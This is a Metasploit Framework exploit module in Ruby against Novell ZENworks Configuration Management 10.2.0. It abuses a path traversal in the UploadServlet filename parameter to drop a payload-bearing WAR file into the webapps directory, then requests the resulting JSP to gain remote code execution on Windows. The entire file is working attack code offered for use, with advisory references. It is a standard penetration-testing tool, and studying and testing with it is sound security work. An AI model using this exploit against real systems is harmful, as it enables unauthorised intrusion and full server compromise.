##
# $Id: zenworks_uploadservlet.rb 9419 2010-06-04 13:36:29Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
      'Description' => %q{
          This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
        By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory 
        and then make a secondary request that allows for arbitrary code execution.
      },
      'Author'      => [ 'MC' ],
      'License'     => MSF_LICENSE,
      'Version'     => '$Revision: 9419 $',
      'References'  =>
        [
          [ 'OSVDB', '63412' ],
          [ 'BID', '39114' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
          [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
        ],
      'Privileged'  => true,
      'Platform'    => [ 'win' ],
      'Targets'     =>
        [
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
        ],
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(80),], self.class)
  end

  def exploit

    arch = target['Arch']
    plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]

    # Generate the WAR containing the EXE containing the payload
    app_base = rand_text_alphanumeric(4+rand(32-4))
    jsp_name = rand_text_alphanumeric(8+rand(8))
    war_data = Msf::Util::EXE.to_jsp_war(framework, arch, plat, payload.encoded, :jsp_name => jsp_name)

    res = send_request_cgi(
      {
        'uri'    => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
        'method' => 'POST',
        'data'   => war_data,
        'headers' =>
          {
            'Content-Type' => 'application/octet-stream',
          }
      })

    print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

    select(nil, nil, nil, 20)

    if (res.code == 200)
      print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
        send_request_raw(
          {
            'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
            'method' => 'GET',
          })
    else
      print_error("Denied...")
    end

    handler
  end

end